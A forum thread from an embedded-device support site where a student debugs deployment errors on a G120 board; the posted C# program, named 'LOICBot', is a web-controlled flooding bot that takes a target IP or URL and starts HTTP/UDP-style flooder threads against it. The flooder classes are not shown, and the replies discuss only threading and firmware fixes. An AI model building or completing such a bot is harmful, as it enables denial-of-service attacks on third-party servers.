Main Site Documentation

G120HDR V1.1 VS redeploying problem


#1

Let me start out by saying this is one of my first posts on the forums.
I am working on a project for my computer networking & security class and have encountering problems with deploying my solution to my board. I was first having problems because I had not yet updated the firmware. I completed the firmware update by manually updating the tinybooter through TeraTerm and then updating the tinyCLR through FezConfig.
After updating the board acts normally, ie. returning “tinyclr” when pinged and accepts basic solutions like:

using System;
using Microsoft.SPOT;

namespace TestDebug
{
    public class Program
    {
        public static void Main()
        {
            Debug.Print("Amazing");
            Debug.Print("I'm working!!!");
        }
    }
}

and returns printed strings to output window, I can also redeploy the solution without problems but when I deploy my actual solution (shown below) none of the debug statements are returned to the output window and when I try to redeploy the solution it doesnt work returning the error :
“Unable to communicate with device USB:Gadgeteer”

This leads me to believe that somewhere in my code something is blocking the boards communication.

My project consists of a G120HDR V1.1, a ENC28 module, and a USB client DP.

The code is as follows for program.cs (I did not include the other classes but can)

using System;
using Microsoft.SPOT;
using Microsoft.SPOT.Hardware;
using Microsoft.SPOT.IO;
using GHI.Premium.System;
using G120 = GHI.Hardware.G120;
using Gadgeteer.Modules.GHIElectronics;
using GHI.Premium.Net;
using GHI.Premium.Hardware;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using System.Text;
using GHI.Premium.IO;
using GHI.Premium.USBHost;

namespace LOICBot
{
    public class Program
    {
        static EthernetENC28J60 NetInterface;
        public static Thread serverThread;
        public static Thread clientThread;
        public static IFlooder flooder;
        static public ManualResetEvent NetworkAvailabilityBlocking = null;
        //private static PersistentStorage storage;
        private static VolumeInfo storageInfo;
        public static byte[] buffer;
        public static IPAddress attackIP;
        public static String attackURL;
        public static int attackType;
        public static string spamData;
        public static string status = "";
        public static bool attack = false;

        public static void Main()
        {
            Debug.Print("Starting!");
            InitNetworkInterface();
            //InitSDInterface();
            //StartServerThread();
            //RunServerThread();
        /*    while (true)
            {
                if (!flooder.IsFlooding)
                    StartServerThread();
                Thread.Sleep(1000);
            } */          
        }
        private static void InitSDInterface()
        {
            try
            {
                storage = new PersistentStorage("SD");
                storage.MountFileSystem();
                storageInfo = VolumeInfo.GetVolumes()[0];
                if (!storageInfo.IsFormatted)
                    throw new Exception("Filesytem is not formatted");
                Debug.Print(storageInfo.FileSystem);
            }
            catch (Exception excp)
            {
                Debug.Print("Error with SD card: " + excp.Message);
            }
        }

        private static void InitNetworkInterface(){
            try
            {
                NetInterface = new EthernetENC28J60(
                SPI.SPI_module.SPI2, 
                G120.Pin.P1_17, 
                G120.Pin.P0_5, 
                G120.Pin.P1_14);
                
                
                NetInterface.CableConnectivityChanged += new EthernetENC28J60.CableConnectivityChangedEventHandler(NetInterface_CableConnectivityChanged);
                NetInterface.NetworkAddressChanged += new NetworkInterfaceExtension.NetworkAddressChangedEventHandler(NetInterface_NetworkAddressChanged);

                if(!NetInterface.IsOpen)
                    NetInterface.Open();
                
                NetworkInterfaceExtension.AssignNetworkingStackTo(NetInterface);

                if(!NetInterface.NetworkInterface.IsDhcpEnabled)
                {
                    NetInterface.NetworkInterface.EnableDhcp();
                }
                NetInterface.NetworkInterface.RenewDhcpLease();
                
                
                

            }catch(Exception excp){
                Debug.Print("Error during initialization of network interface: " + excp.Message);
                
            }
        }
        internal static void StartClientThread()
        {
            clientThread = new Thread(RunAttack);
        }
        internal static void StartServerThread()
        {
            serverThread = new Thread(RunServerThread);

        }
        internal static void RunAttack()
        {
            switch (attackType)
            {
                case 1:
                case 2:
                    {
                        flooder = new XXPFlooder(attackIP, 80, attackType, 10, false, spamData, 10);
                        break;
                    }
                case 3:
                    {
                        flooder = new HTTPFlooder(attackIP, 80, "", false, 5, 9901, 10);
                        break;
                    }
            }
            flooder.Start();
        }
        internal static void RunServerThread()
        {
            HttpListener listener = new HttpListener("http");
            listener.Start();

            while (true)
            {
                HttpListenerResponse response = null;
                HttpListenerContext context = null;
                try
                {
                    context = listener.GetContext();
                    response = context.Response;
                    HttpListenerRequest request = context.Request;
                    switch (request.HttpMethod.ToUpper())
                    {
                        case "GET": ProcessClientGetRequest(context);
                            break;
                        case "POST": ProcessClientPostRequest(context);
                            break;
                    }
                    if (response != null)
                    {
                        response.Close();
                    }
                }
                catch (Exception excp)
                {
                    if (context != null)
                    {
                        Debug.Print("Error while running webserver: " + excp.Message);
                        context.Close();
                    }
                }
            }
        }
        private static void ProcessClientPostRequest(HttpListenerContext context)
        {
            HttpListenerRequest request = context.Request;
            System.IO.Stream requestStream = request.InputStream;
            
            System.IO.StreamReader requestReader = new System.IO.StreamReader(requestStream) ;
            
            string postString = "";
            string[] postStringSplit = new string[5];
            string[] stringURL = new string[2];
            string[] stringIP = new string[2];
            string[] stringSpam = new string[2];
            string[] stringAttack = new string[2];
            string[] stringType = new string[2];
            status = "";
            
            try
            {
                if (requestStream.CanRead)
                {
                    postString = requestReader.ReadToEnd();
                }
                if (postString.Length != 0)
                {
                    postStringSplit = postString.Split('&');
                }
                for (int i = 0; i < postStringSplit.Length; i++)
                {
                    switch (i)
                    {
                        case 0:
                            stringURL = postStringSplit[i].Split('=');
                            break;
                        case 1:
                            stringIP = postStringSplit[i].Split('=');
                            break;
                        case 2:
                            stringSpam = postStringSplit[i].Split('=');
                            break;
                        case 3:
                            stringAttack = postStringSplit[i].Split('=');
                            break;
                        case 4:
                            stringType = postStringSplit[i].Split('=');
                            break;
                    }
                }
                if (stringAttack[1] == "Ready")
                {
                    if (!attack)
                    {
                        attack = true;
                        StartClientThread();
                    }
                    else
                    {
                        attack = false;
                        flooder.Stop();
                        clientThread.Abort();
                    }
                }
                else
                {
                    if (stringIP[1] != "")
                    {
                        attackIP = IPAddress.Parse(stringIP[1]);
                    }
                    else if (stringURL[1] != "")
                    {
                        attackURL = stringURL[1];
                        attackURL = attackURL.ToLower();

                        if (attackURL.Substring(0, 7) != "http://" || attackURL.Substring(0, 8) != "https://")
                            attackURL = String.Concat("http://", attackURL);
                        try
                        {
                            IPAddress[] addresses = Dns.GetHostEntry(new Uri(attackURL).Host).AddressList;
                            attackIP = (addresses.Length > 1 ? addresses[new Random().Next(addresses.Length)] : addresses[0]);

                        }
                        catch (Exception excp)
                        {
                            Debug.Print("Error with given URL " + attackURL + ": " + excp.Message);
                            status = "BadAddress";
                        }
                    }
                    else
                    {
                        status = "BadAddress";
                    }
                    if (stringSpam.Length > 256)
                    {
                        status = "BadSpam";
                    }
                    else
                    {
                        spamData = stringSpam[1];
                    }
                    attackType = (int) stringType[1].ToCharArray().GetValue(0);
                    if (status == "")
                    {
                        status = "Ready";
                        
                    }
                    HttpListenerResponse response = context.Response;
                    System.IO.Stream responseStream = response.OutputStream;
                    string statusResponse = ("address:" + attackIP +"&spam:" + spamData +"&status:" + status);
                    byte[] statusBuffer = System.Text.Encoding.UTF8.GetBytes(statusResponse);
                    responseStream.Write(statusBuffer, 0, statusBuffer.Length);
                    
                    

                }
                
            }
            catch (Exception excp)
            {
                Debug.Print("Unable to read request stream: " + excp.Message);
            }

        }
        private static void ProcessClientGetRequest(HttpListenerContext context)
        {
            HttpListenerRequest request = context.Request;
            HttpListenerResponse response = context.Response;
            
            
            
            System.IO.Stream responseStream = response.OutputStream;
            //FileStream fileHandler = new FileStream(@ "\SD\Index.html", FileMode.Open, FileAccess.Read);
            string str = "Hello World!";
            buffer = Encoding.UTF8.GetBytes(str);
            //buffer = new byte[fileHandler.Length];
            fileHandler.Read(buffer, 0, buffer.Length-1);

            responseStream.Write(buffer, 0, buffer.Length-1);
            responseStream.Close();


        }
        static void NetInterface_CableConnectivityChanged(object sender, EthernetENC28J60.CableConnectivityEventArgs e)
        {
            Debug.Print("Ethernet Cable is " + (e.IsConnected ? "Connected!" : "Disconnected!"));
            if (e.IsConnected)
                NetworkAvailabilityBlocking.Set();
        }
        static void NetInterface_NetworkAddressChanged(object sender, EventArgs e)
        {
            Debug.Print("New address for the ENC28J60 Ethernet Network Interface ");

            Debug.Print("Is DhCp enabled: " + NetInterface.NetworkInterface.IsDhcpEnabled);
            Debug.Print("Is DynamicDnsEnabled enabled: " + NetInterface.NetworkInterface.IsDynamicDnsEnabled);
            Debug.Print("NetworkInterfaceType " + NetInterface.NetworkInterface.NetworkInterfaceType);
            Debug.Print("Network settings:");
            Debug.Print("IP Address: " + NetInterface.NetworkInterface.IPAddress);
            Debug.Print("Subnet Mask: " + NetInterface.NetworkInterface.SubnetMask);
            Debug.Print("Default Getway: " + NetInterface.NetworkInterface.GatewayAddress);
            Debug.Print("Number of DNS servers:" + NetInterface.NetworkInterface.DnsAddresses.Length);

            for (int i = 0; i < NetInterface.NetworkInterface.DnsAddresses.Length; i++)
                Debug.Print("DNS Server " + i.ToString() + ":" + NetInterface.NetworkInterface.DnsAddresses[i]);

            Debug.Print("------------------------------------------------------");
            if (NetInterface.NetworkInterface.IPAddress != "0.0.0.0")
            {

            }
        }

                

                
               
        

    }
}


#2

I think your problem is high CPU load.
The debugger and deploy interface needs some available CPU time to be able to attach.
Any while(true) loop without a Thread.Sleep() in it can (or will) cause this problem.
I have seen at least one such loops in one of the thread procs.

also: creating a thread does not start it!
you have to call Start() on the thread object.

also part 2:
When the Main() method exits, the program ends.
So if all you do is initialization and starting threads in the Main() method you should add a final Thread.Sleep(-1); // slepp for ever.

To redeploy your solution you quite likely need to redeploy the firmware (and probably tiny booter).

To avoid such issues you could and a Thread.Sleep(5000); at the beginning of the Main() method. By this the debugger can attach at least right after a reset.
You can remove this line when everything runs fine.


#3

That makes sense now that you say it.

I completely forgot that I had to start threads after creating them.

I didnt know that Thread.Sleep(-1) makes the thread sleep forever

Ill try fixing the problems and adding the thread sleep to the beginning and see what i can find out.

Thanks!!


#4

Well that fixed my problem with being unable to redeploy. Which I must thank you for advising me on that.

But now I am recieving a wierd error with an unhandled execption

Exception System.Exception - CLR_E_WRONG_TYPE (2)

#### Message: 
#### Microsoft.SPOT.Hardware.NativeEventDispatcher::add_OnInterrupt [IP: 0004] ####
#### GHI.Premium.System.InternalEvent::.cctor [IP: 0025] ####

A first chance exception of type ‘System.Exception’ occurred in Microsoft.SPOT.Hardware.dll
An unhandled exception of type ‘System.Exception’ occurred in Microsoft.SPOT.Hardware.dll


#5

Step through your code an tell met which line the exception happens.


#6

Redeploy problem solved!

Thanks


#7

@ CaseySchadewitz -

Reinhard Ostermeier provided many way, which way did you use? (Just want to learn:))


#8

Well it was a combination of things that ended up fixing the problem:

First my redeploy problem was originally due to an exception my code was hitting right at the beginning. So to fix that I had to install the bootloader and firmware.

Then I ended up with another redeploy problem which I believe came from installing the bootloader with FEZ Config because after I manually installed the bootloader everything worked great.

Thanks for the help Reinhard